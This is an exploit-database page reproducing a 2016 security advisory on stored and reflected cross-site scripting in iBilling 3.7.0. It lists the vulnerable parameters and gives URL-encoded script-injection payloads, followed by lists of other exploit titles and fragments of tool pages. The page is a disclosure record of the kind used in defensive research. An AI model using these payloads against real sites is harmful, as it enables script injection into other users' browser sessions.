Menu

Search for hundreds of thousands of exploits

"iBilling 3.7.0 - Persistent Cross-Site Scripting / Reflected Cross-Site Scripting"

Author

Exploit author

"Bikramaditya Guha"

Platform

Exploit platform

php

Release date

Exploit published date

2016-06-27

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
iBilling v3.7.0 Multiple Stored and Reflected Cross Site Scripting Vulnerabilities


Vendor: iBilling
Product web page: http://www.ibilling.io/
Affected version: 3.7.0

Summary: The features you want, the simplicity you need! Beautifully 
designed for best User Interface & User Experience. The software 
That Works For YOUR Business! Get growing – with affordable, scalable 
business software. Find innovative ways to manage customers data, 
communicate with customer, know your business cashflow, net worth, 
send invoice to customer Hassle-free with single click payment reminder, 
payment confirmations & get paid online integrated with payment gateways.

Desc: iBilling suffers from multiple cross-site scripting vulnerabilities. 
The issue is triggered when input passed via multiple parameters is not 
properly sanitized before being returned to the user. This can be exploited 
to execute arbitrary HTML and script code in a user's browser session in 
context of an affected site.


Tested on: nginx
	       PHP/5.5.9-1ubuntu4.6


Vulnerability discovered by Bikramaditya 'PhoenixX' Guha
                            @zeroscience


Advisory ID: ZSL-2016-5332
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5332.php



08.06.2016


1. Cross Site Scripting (Stored):

http://localhost/ibilling/index.php
Parameters: msg, desc, account, phone, company, address, city, state, zip, tags, description, ref (POST)

Payload(s):
account=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&company=%22%3E%3Cscript%3Ealert(2)%3C%2Fscript%3E&email=test%40yahoo.com&phone=%22%3E%3Cscript%3Ealert(4)%3C%2Fscript%3E&address=%22%3E%3Cscript%3Ealert(5)%3C%2Fscript%3E&city=%22%3E%3Cscript%3Ealert(6)%3C%2Fscript%3E&state=%22%3E%3Cscript%3Ealert(7)%3C%2Fscript%3E&zip=%22%3E%3Cscript%3Ealert(8)%3C%2Fscript%3E&country=TR&tags%5B%5D=web_development%22%3E%3Cscript%3Ealert(9)%3C%2Fscript%3E

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2. Cross Site Scripting (Reflected):

http://localhost/ibilling/index.php
Parameters: cid (POST)

Payload(s):
cid=1001"><script>alert(1)</script>&msg=&icon=

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2016-07-06 "Advanced Webhost Billing System (AWBS) 2.9.6 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-07-04 "eCardMAX 10.5 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-06-27 "iBilling 3.7.0 - Persistent Cross-Site Scripting / Reflected Cross-Site Scripting" webapps php "Bikramaditya Guha"
2016-05-26 "EduSec 4.2.5 - SQL Injection" webapps php "Bikramaditya Guha"
2016-05-26 "Real Estate Portal 4.1 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-05-23 "WordPress Plugin Job Script by Scubez - Remote Code Execution" webapps php "Bikramaditya Guha"
2016-05-09 "ZeewaysCMS - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-02-01 "iScripts EasyCreate 3.0 - Remote Code Execution" webapps php "Bikramaditya Guha"
2016-02-01 "iScripts EasyCreate 3.0 - Multiple Vulnerabilities" webapps php "Bikramaditya Guha"
2016-01-14 "Manage Engine Application Manager 12.5 - Arbitrary Command Execution" webapps multiple "Bikramaditya Guha"
2016-01-14 "Manage Engine Applications Manager 12 - Multiple Vulnerabilities" webapps multiple "Bikramaditya Guha"
2015-10-23 "Joomla! Component Realtyna RPL 8.9.2 - Persistent Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Bikramaditya Guha"
2015-10-23 "Joomla! Component Realtyna RPL 8.9.2 - Multiple SQL Injections" webapps php "Bikramaditya Guha" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected